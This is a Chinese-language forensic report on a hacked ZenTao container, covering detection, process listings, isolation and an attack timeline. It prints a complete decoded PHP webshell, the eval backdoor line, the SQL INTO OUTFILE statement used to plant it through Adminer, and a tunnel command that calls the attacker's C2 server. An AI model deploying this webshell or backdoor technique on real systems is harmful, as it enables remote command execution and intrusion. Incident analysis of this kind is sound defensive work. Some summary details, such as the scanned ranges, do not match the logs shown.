发现时间 最早发现是 2025-05-06 下午,发现 PVE 的香港出口带宽异常,接着发现跟 176.32.35.190 的 tcp 端口 8024 有大量的数据交互
然后在 2025-05-07 上午,用 docker exec -it zentao /bin/bash
进入容器,apt install psmisc
,然后 pstree -a
才确认被入侵的。
zentao 容器内执行 pstree -a
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 s6-svscan /etc/s6/s6-enable |-s6-supervise 00-mysql | `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ... | `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run | `-13*[{mariadbd}] |-s6-supervise 02-sentry | `-tail -f /tmp/sentry.log |-s6-supervise 03-roadrunner | `-rr serve -c /apps/zentao/roadrunner/.rr.yaml | `-5*[{rr}] |-s6-supervise 01-apache | `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND | `-httpd -D FOREGROUND | |-httpd -D FOREGROUND | | `-sh -c ... | | `-sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2 | | `-slix | | |-sh | | |-sh | | |-sh | | |-sh | | |-sh | | |-sh | | |-sh | | |-sh | | |-sh | | |-sh | | |-sh | | | `-scanb.sh ./scanb.sh | | | `-fs -h 192.168.38.0/24 -o 192b.txt -t 5 -np ... | | | `-8*[{fs}] | | `-4*[{slix}] | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | | `-sh -c... | | `-sh -c... | | `-ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc ... | | `-11*[{ns}] | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | |-httpd -D FOREGROUND | `-httpd -D FOREGROUND `-scanb.sh ./scanb.sh `-fs -h 192.168.39.0/24 -o 192b.txt -t 5 -np `-8*[{fs}]
对比一下正常的 pstree -a
的结果吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 s6-svscan /etc/s6/s6-enable |-s6-supervise 00-mysql | `-mysqld_safe /opt/zbox/run/mysql/mysqld_safe ... | `-mariadbd --defaults-file=/data/mysql/etc/my.cnf--basedir=/opt/zbox/run | `-7*[{mariadbd}] |-s6-supervise 02-sentry | `-run ./run | `-sleep 4 |-s6-supervise 03-roadrunner | `-run ./run | `-sleep 1 `-s6-supervise 01-apache `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND `-httpd -D FOREGROUND |-httpd -D FOREGROUND |-httpd -D FOREGROUND |-httpd -D FOREGROUND |-httpd -D FOREGROUND `-httpd -D FOREGROUND
完了,确认被黑了。
zentao 容器内执行 ps auxww | grep ns
发现输出:
1 2 3 4 nobody 3084676 0.0 0.0 2480 516 ? S Apr23 0:00 sh -c /bin/sh -c "cd "/bin";/tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp;echo dc721;pwd;echo 291d6457e" 2>&1 nobody 3084677 0.0 0.0 2480 524 ? S Apr23 0:00 /bin/sh -c cd /bin;/tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp;echo dc721;pwd;echo 291d6457e nobody 3084678 0.1 0.3 858416 55708 ? Sl Apr23 37:05 /tmp/.1/ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc -type=tcp root 3098254 0.0 0.0 3240 648 pts/0 S+ 13:20 0:00 grep ns
zentao 容器内执行 ps auxww | grep slix
输出:
1 2 3 4 nobody 975792 0.0 0.0 2480 540 ? S Apr17 0:00 sh -c /bin/sh -c "cd "/tmp";./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2" 2>&1 nobody 975793 0.0 0.0 2480 544 ? S Apr17 0:00 /bin/sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2 nobody 975794 0.0 0.0 5788 2936 ? Sl Apr17 23:43 ./slix root 3141372 0.0 0.0 3240 648 pts/0 S+ 11:21 0:00 grep slix
应急处理 将被入侵容器 zentao 挪到 none 网络,然后将 zentao 容器改名
1 2 3 docker network disconnect chainless zentao docker network connect none zentao docker rename zentao zentao_hacked
继续分析 基本信息 zentao 容器:
ip: 172.16.0.2
image: easysoft/zentao:21.4
publish port: 8002
zentao 容器宿主机:
ip: 192.168.0.11 or 192.168.1.11
宿主机是一台 vm,宿主机是一台有着公网地址的物理及:PVE
ip:
a.a.a.a(香港线路接口 IP,缺省出口)
b.b.b.b(中国移动接口 IP)
192.168.0.1 和 192.168.1.1(内部网桥 ip,所有 vm 都是接在网桥上的)
nginx
做了个虚机 proxy_pass 到容器宿主机的 8002 端口,所以可以通过 PVE 的公网入口访问 zentao
whois 的信息(whois 176.32.35.190
的输出):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 % This is the RIPE Database query service. % The objects are in RPSL format. % % The RIPE Database is subject to Terms and Conditions. % See https://docs.db.ripe.net/terms-conditions.html % Note: this output has been filtered. % To receive output for a database update, use the "-B" flag. % Information related to '176.32.35.0 - 176.32.35.255' % Abuse contact for '176.32.35.0 - 176.32.35.255' is '[email protected] ' inetnum: 176.32.35.0 - 176.32.35.255 netname: BX-NETWORK country: RU admin-c: DS9183-RIPE tech-c: DS9183-RIPE status: ASSIGNED PA mnt-by: BX-NOC created: 2017-12-13T12:29:22Z last-modified: 2017-12-13T12:29:22Z source: RIPE # Filtered person: Dmitry Shilyaev remarks: https://justhost.ru address: Moscow, Russia phone: +74956680903 nic-hdl: DS9183-RIPE mnt-by: BX-NOC created: 2011-11-03T08:14:05Z last-modified: 2020-07-26T15:49:06Z source: RIPE # Filtered % Information related to '176.32.35.0/24AS51659' route: 176.32.35.0/24 origin: AS51659 mnt-by: BX-NOC created: 2017-12-13T12:30:03Z last-modified: 2017-12-13T12:30:03Z source: RIPE % This query was served by the RIPE Database Query Service version 1.117 (BUSA)
容器宿主机上执行 docker inspect zentao | grep -i privileged
,输出:
"Privileged": false,
zentao_hacked(容器 zentao 改名来的) 容器内执行 ls -la /tmp
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 total 22972 drwxrwxrwt 1 root root 4096 May 7 13:20 . drwxr-xr-x 1 root root 4096 Feb 19 11:12 .. drwxr-xr-x 2 nobody nogroup 4096 May 7 13:35 .1 -rw-r--r-- 1 nobody nogroup 674 Apr 16 14:47 .32915ant_x64.so -rw-r--r-- 1 nobody nogroup 11565 Apr 21 11:34 12.txt -rw-r--r-- 1 nobody nogroup 18911 Apr 23 17:27 192b.txt -rw-r--r-- 1 nobody nogroup 81209 May 2 16:55 22.txt drwxr-xr-x 3 nobody nogroup 4096 Apr 16 17:36 CVE-2021-22555-Exploit -rw-rw---- 1 nobody nogroup 56 Apr 15 20:35 adminer.invalid -rw-rw---- 1 nobody nogroup 401 Apr 20 12:21 adminer.version -rwxr-xr-x 1 nobody nogroup 10137752 Feb 23 01:32 cdk_linux_386 -rwxrwxrwx 1 nobody nogroup 7100304 Apr 16 16:59 fs -rw-r--r-- 1 nobody nogroup 268 Apr 16 14:47 gconv-modules -rw-r--r-- 1 501 staff 15236 Jul 11 2024 package.xml -rw------- 1 nobody nogroup 44113 Apr 23 10:54 phpx2lUxr -rw-r--r-- 1 nobody nogroup 36381 Apr 20 17:20 result.txt -rwxr-xr-x 1 nobody nogroup 4903024 Apr 20 16:00 rustscan -rwxr-xr-x 1 nobody nogroup 1047 Apr 22 14:28 scanb.sh -rw-r--r-- 1 root root 0 Feb 19 11:13 sentry.log -rwxr-xr-x 1 nobody nogroup 1106480 Oct 13 2023 slix
可疑文件分析 zentao_hacked(容器 zentao 改名来的) 容器内执行 stat /tmp/phpx2lUxr
的输出:
File: /tmp/phpx2lUxr Size: 44113 Blocks: 88 IO Block: 4096 regular file Device: 5eh/94d Inode: 2374031 Links: 1 Access: (0600/-rw——-) Uid: (65534/ nobody) Gid: (65534/ nogroup) Access: 2025-05-07 13:05:27.412000000 +0800 Modify: 2025-04-23 10:54:16.944000000 +0800 Change: 2025-04-23 10:54:16.944000000 +0800 Birth: 2025-04-23 10:54:16.944000000 +0800
/tmp/phpx2lUxr
文件太大,就不列内容了,但这是一个非常重要的文件,我们来分析一下这个文件吧
再弄个 python 程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import base64import urllib.parsewith open ('phpx2lUxr' , 'r' ) as f: data = f.read() for pair in data.split('&' ): if '=' in pair: key, value = pair.split('=' , 1 ) value_decoded = urllib.parse.unquote(value) try : decoded = base64.b64decode(value_decoded).decode('utf-8' ) if '<?php' in decoded or 'eval' in decoded or 'base64_decode' in decoded: print (f'Key: {key} \nDecoded:\n{decoded} \n' ) except Exception: continue
执行:
输出:
Key: bd87898bcbf27d Decoded: @ini_set(“display_errors”, “0”);@set_time_limit(0);$opdir=@ini_get(“open_basedir”);if($opdir) {$ocwd=dirname($_SERVER[“SCRIPT_FILENAME”]);$oparr=preg_split(base64_decode(“Lzt8Oi8=”),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item.”/.dd4073a3309”;@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set(“open_basedir”, “..”);$cntarr=@preg_split(“/\\|//“,$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir(“..”);};@ini_set(“open_basedir”,”/“);@rmdir($tmdir);break;};};;function asenc($out){return @base64_encode($out);};function asoutput(){$output=ob_get_contents();ob_end_clean();echo “67”.”035”;echo @asenc($output);echo “031”.”531”;}ob_start();try{$p=base64_decode(substr($_POST[“h82ad1117a8e69”],2));$s=base64_decode(substr($_POST[“h51d3ad7f0190a”],2));$envstr=@base64_decode(substr($_POST[“pb5f3a839543ad”],2));$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==”/“?”-c "{$s}"“:”/c "{$s}"“;if(substr($d,0,1)==”/“){@putenv(“PATH=”.getenv(“PATH”).”:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin”);}else{@putenv(“PATH=”.getenv(“PATH”).”;C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;”);}if(!empty($envstr)){$envarr=explode(“|||asline|||”, $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace(“|||askey|||”, “=”, $v));}}}$r=”{$p} {$c}”;function fe($f){$d=explode(“,”,@ini_get(“disable_functions”));if(empty($d)){$d=array();}else{$d=array_map(‘trim’,array_map(‘strtolower’,$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == “/“ && fe(‘putenv’) && (fe(‘error_log’) || fe(‘mail’))) {if (strstr(readlink(“/bin/sh”), “bash”) != FALSE) {$tmp = tempnam(sys_get_temp_dir(), ‘as’);putenv(“PHP_LOL=() { x; }; $c >$tmp 2>&1”);if (fe(‘error_log’)) {error_log(“a”, 1);} else {mail(“a@127.0.0.1 “, “”, “”, “-bv”);}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != “”) {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER[“SCRIPT_FILENAME”]);if(fe(‘system’)){@system($c,$ret);}elseif(fe(‘passthru’)){@passthru($c,$ret);}elseif(fe(‘shell_exec’)){print(@shell_exec($c));}elseif(fe(‘exec’)){@exec($c,$o,$ret);print(join(“ “,$o));}elseif(fe(‘popen’)){$fp=@popen($c,’r’);while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe(‘proc_open’)){$p = @proc_open($c, array(1 => array(‘pipe’, ‘w’), 2 => array(‘pipe’, ‘w’)), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe(‘antsystem’)){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!=”/“ && @class_exists(“COM”)){$w=new COM(‘WScript.shell’);$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r.” 2>&1”);print ($ret!=0)?”ret={$ret}”:””;;}catch(Exception $e){echo “ERROR://“.$e->getMessage();};asoutput();die();
把 php 代码格式化后,得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 @ini_set ("display_errors" , "0" ); @set_time_limit (0 ); $opdir =@ini_get ("open_basedir" );if ($opdir ) { $ocwd =dirname ($_SERVER ["SCRIPT_FILENAME" ]); $oparr =preg_split (base64_decode ("Lzt8Oi8=" ),$opdir ); @array_push ($oparr ,$ocwd ,sys_get_temp_dir ()); foreach ($oparr as $item ) { if (!@is_writable ($item )){ continue ; }; $tmdir =$item ."/.dd4073a3309" ; @mkdir ($tmdir ); if (!@file_exists ($tmdir )){ continue ; } $tmdir =realpath ($tmdir ); @chdir ($tmdir ); @ini_set ("open_basedir" , ".." ); $cntarr =@preg_split ("/\\\\|\//" ,$tmdir ); for ($i =0 ;$i <sizeof ($cntarr );$i ++){ @chdir (".." ); }; @ini_set ("open_basedir" ,"/" ); @rmdir ($tmdir ); break ; }; }; ; function asenc ($out ) { return @base64_encode ($out ); }; function asoutput ( ) { $output =ob_get_contents (); ob_end_clean (); echo "67" ."035" ; echo @asenc ($output ); echo "031" ."531" ; } ob_start ();try { $p =base64_decode (substr ($_POST ["h82ad1117a8e69" ],2 )); $s =base64_decode (substr ($_POST ["h51d3ad7f0190a" ],2 )); $envstr =@base64_decode (substr ($_POST ["pb5f3a839543ad" ],2 )); $d =dirname ($_SERVER ["SCRIPT_FILENAME" ]); $c =substr ($d ,0 ,1 )=="/" ?"-c \"{ $s } \"" :"/c \"{ $s } \"" ;if (substr ($d ,0 ,1 )=="/" ){ @putenv ("PATH=" .getenv ("PATH" ).":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ); }else { @putenv ("PATH=" .getenv ("PATH" ).";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;" ); } if (!empty ($envstr )){ $envarr =explode ("|||asline|||" , $envstr ); foreach ($envarr as $v ) { if (!empty ($v )) { @putenv (str_replace ("|||askey|||" , "=" , $v )); } } } $r ="{ $p } { $c } " ;function fe ($f ) { $d =explode ("," ,@ini_get ("disable_functions" )); if (empty ($d )){ $d =array (); }else { $d =array_map ('trim' ,array_map ('strtolower' ,$d )); } return (function_exists ($f )&&is_callable ($f )&&!in_array ($f ,$d )); }; function runshellshock ($d , $c ) { if (substr ($d , 0 , 1 ) == "/" && fe ('putenv' ) && (fe ('error_log' ) || fe ('mail' ))) { if (strstr (readlink ("/bin/sh" ), "bash" ) != FALSE ) { $tmp = tempnam (sys_get_temp_dir (), 'as' ); putenv ("PHP_LOL=() {x;};$c >$tmp 2>&1" ); if (fe ('error_log' )) { error_log ("a" , 1 ); } else { mail ("[email protected] " , "" , "" , "-bv" ); } } else { return False; } $output = @file_get_contents ($tmp ); @unlink ($tmp ); if ($output != "" ) { print ($output ); return True; } } return False; } ; function runcmd ($c ) { $ret =0 ; $d =dirname ($_SERVER ["SCRIPT_FILENAME" ]); if (fe ('system' )){ @system ($c ,$ret ); }elseif (fe ('passthru' )){ @passthru ($c ,$ret ); }elseif (fe ('shell_exec' )){ print (@shell_exec ($c )); }elseif (fe ('exec' )){ @exec ($c ,$o ,$ret ); print (join ("" ,$o )); }elseif (fe ('popen' )){ $fp =@popen ($c ,'r' ); while (!@feof ($fp )){ print (@fgets ($fp ,2048 )); } @pclose ($fp ); }elseif (fe ('proc_open' )){ $p = @proc_open ($c , array (1 => array ('pipe' , 'w' ), 2 => array ('pipe' , 'w' )), $io ); while (!@feof ($io [1 ])){ print (@fgets ($io [1 ],2048 )); } while (!@feof ($io [2 ])){ print (@fgets ($io [2 ],2048 )); } @fclose ($io [1 ]); @fclose ($io [2 ]); @proc_close ($p ); }elseif (fe ('antsystem' )){ @antsystem ($c ); }elseif (runshellshock ($d , $c )) { return $ret ; }elseif (substr ($d ,0 ,1 )!="/" && @class_exists ("COM" )){ $w =new COM ('WScript.shell' ); $e =$w ->exec ($c ); $so =$e ->StdOut (); $ret .=$so ->ReadAll (); $se =$e ->StdErr (); $ret .=$se ->ReadAll (); print ($ret ); }else { $ret = 127 ; } return $ret ; } ; $ret =@runcmd ($r ." 2>&1" );print ($ret !=0 )?"ret={$ret} " :"" ;; } catch (Exception $e ){ echo "ERROR://" .$e ->getMessage (); } ; asoutput ();die ();
找到一个后门:/apps/zentao/config/config.php
,权限 777,最后一句:
1 @eval ($_POST ['nasik1' ]);
执行 stat config/config.php
,输出:
File: config/config.php Size: 16600 Blocks: 40 IO Block: 4096 regular file Device: 5eh/94d Inode: 2374867 Links: 1 Access: (0777/-rwxrwxrwx) Uid: (65534/ nobody) Gid: (65534/ nogroup) Access: 2025-05-13 12:51:49.652000000 +0800 Modify: 2025-04-16 13:08:56.368000000 +0800 Change: 2025-04-16 13:08:56.368000000 +0800 Birth: 2025-02-19 14:01:10.416000000 +0800
继续漏洞分析 这个版本的禅道自带 adminer(版本 4.8.2-dev),这个是我到代码目录下才看见的。我找了找 adminer 的漏洞,很容易就找到一个,但是这个漏洞的利用必须得先要
有能登录数据库的账号密码
这个数据库账号还需要有 FILE 权限
而恰好,当时跑 zentao 之后第一次安装时,数据库设置选的缺省的账号密码,本来缺省的也没事,毕竟数据库只能本地连,但 adminer 一下子又让 web 可以访问,于是,web 也就能连数据库了,再加上还是缺省账号密码,于是就能 web 登录数据库了,然后缺省账号密码权限还很高,于是直接就能写后门了。
至于前面看到的 /apps/zentao/config/config.php
里最后的一句:
1 @eval ($_POST ['nasik1' ]);
都是在 adminer 中登录数据库以后,执行 sql 语句:
1 SELECT "@eval(\$_POST['nasik1']);" INTO OUTFILE '/apps/zentao/config/config.php'
生成的。
在 zentao 的日志里发现了关键几句:
1 2 3 4 192.168.0.1 - - [15/Apr/2025:15:58:43 +0800] "POST /adminer/index.php HTTP/1.0" 302 - "https://api-devnet.chainless.top:8002/adminer/index.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 192.168.0.1 - - [15/Apr/2025:15:58:44 +0800] "GET /adminer/index.php?username=root&db=zentao HTTP/1.0" 403 4673 "https://api-devnet.chainless.top:8002/adminer/index.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 192.168.0.1 - - [15/Apr/2025:15:58:44 +0800] "GET /adminer/index.php?file=functions.js&version=4.8.2-dev HTTP/1.0" 200 27548 "https://api-devnet.chainless.top:8002/adminer/index.php?username=root&db=zentao" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 192.168.0.1 - - [15/Apr/2025:15:58:45 +0800] "GET /adminer/index.php?file=favicon.ico&version=4.8.2-dev HTTP/1.0" 200 318 "https://api-devnet.chainless.top:8002/adminer/index.php?username=root&db=zentao" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
由上可以看出,黑客是 15/Apr/2025:15:58:44 +0800
开始进来的。但是前面看 /apps/zentao/config/config.php
是 16/Apr/2025
被植入后门的。但我在那个时间没有抓到有力证据有写入 config.php 的操作。
后续操作 另外用禅道官方最新的 image easysoft/zentao:21.6
和之前的持久化的数据,删了些东西,重建了一个容器:zentao,publish 到 8001 端口,现在用宿主机的 内网 IP 可以访问。
随后会创建网络 ACL,据掉从 192.168.0.0/23(PVE) 到 192.168.2.0/23(深圳办公室) 的主动访问请求。
异常文件分析 以下为容器内 /tmp
目录下的关键异常文件:
**/tmp/phpx2lUxr
**:
MD5 :0a525dab9878c80373399c1ed0f7b8d6
创建时间 :2025年4月23指的是什么?4月23日
分析 :文件内容为base64编码字符串,解码后疑似为加密的恶意脚本或payload。由于文件过大,未直接包含在报告中。初步分析表明其可能为攻击者植入的加密后门或下载器,用于动态加载其他恶意代码。
作用 :可能作为初始植入点或后续恶意代码的加载器。
**/tmp/.1/ns
**:
MD5 :dd1c4358c778d3f1161266fa0d81e8cc
描述 :位于隐藏目录 /tmp/.1
中,可执行二进制文件,负责C2通信。
**/tmp/slix
**:
MD5 :cbd49e364bac69eb77813435e5c18365
描述 :可执行文件,负责协调网络扫描和脚本执行。
其他文件 :
/tmp/fs
:网络扫描工具,配合 scanb.sh
使用。
/tmp/rustscan
:快速端口扫描工具。
/tmp/cdk_linux_386
:疑似漏洞利用或恶意二进制文件。
/tmp/.32915ant_x64.so
、/tmp/gconv-modules
:可能的恶意动态库。
/tmp/adminer.invalid
、/tmp/adminer.version
:与Adminer数据库管理工具相关,暗示可能的web攻击向量。
/tmp/CVE-2021-22555-Exploit
:目录名指向Linux内核提权漏洞(CVE-2021-22555),表明攻击者尝试提权。
攻击者基础设施
IP地址 :176.32.35.190
归属 :俄罗斯,BX-NETWORK
(AS51659),托管商Baxet.ru,滥用联系邮箱 [email protected]
。
作用 :C2服务器,接收 ns
进程的通信,控制恶意活动。
证据 :网络流量分析显示 176.32.35.190:8024
为主要外部通信目标,ns
进程的 -vkey=82yukro912ktndfc
参数表明存在身份验证机制。
入侵时间线
**2025 年 4 月 15 日:应该就被入侵(通过 adminer 进来了)
2025年4月15–23日 :恶意文件(slix
、ns
、phpx2lUxr
等)陆续出现,slix
进程最早于4月17日启动,表明入侵可能发生于4月中旬。
2025年4月23日 :ns
进程启动,与C2服务器建立连接。
2025年5月6日 :检测到PVE香港出口带宽异常,初步定位为 176.32.35.190:8024
的流量。
2025年5月7日 :通过 pstree -a
确认容器内存在异常进程,正式确认入侵。
可能攻击向量
ZenTao漏洞 :easysoft/zentao:21.4
或其Adminer组件可能存在远程代码执行(RCE)、文件上传或其他web漏洞,导致初始访问。
Web暴露 :容器通过PVE主机的Nginx代理暴露端口 8002
,若未配置强认证或WAF,可能被外部直接攻击。
提权尝试 :/tmp/CVE-2021-22555-Exploit
表明攻击者尝试利用Linux内核漏洞提权,但 docker inspect
显示容器非特权模式("Privileged": false
),限制了提权影响。
用户权限 :恶意进程以 nobody
用户运行,与ZenTao的Apache默认用户一致,暗示攻击通过web漏洞获得容器内执行权限。
事件影响
容器妥协 :zentao
容器完全被入侵,运行恶意进程并与C2服务器通信。
网络扫描 :攻击者扫描内网网段 192.168.0.0/16
和 172.24.0.0/16
,可能收集了网络拓扑或其他设备信息。
数据泄露风险 :ns
进程与C2服务器的通信,可能导致敏感数据(如ZenTao数据库内容)外泄或接收恶意指令。
主机安全 :暂无证据显示PVE主机或其他虚拟机受损,但内网扫描行为增加了横向移动风险。
结论 zentao
容器于2025年4月中旬通过可能的web漏洞被入侵,攻击者植入恶意文件(slix
、ns
、phpx2lUxr
等),执行网络扫描和C2通信。入侵持续约20天,直至2025年5月6日因带宽异常暴露。应急隔离措施已生效,建议进一步分析日志、恶意文件,重建干净的ZenTao服务,并检查内网其他系统是否受影响。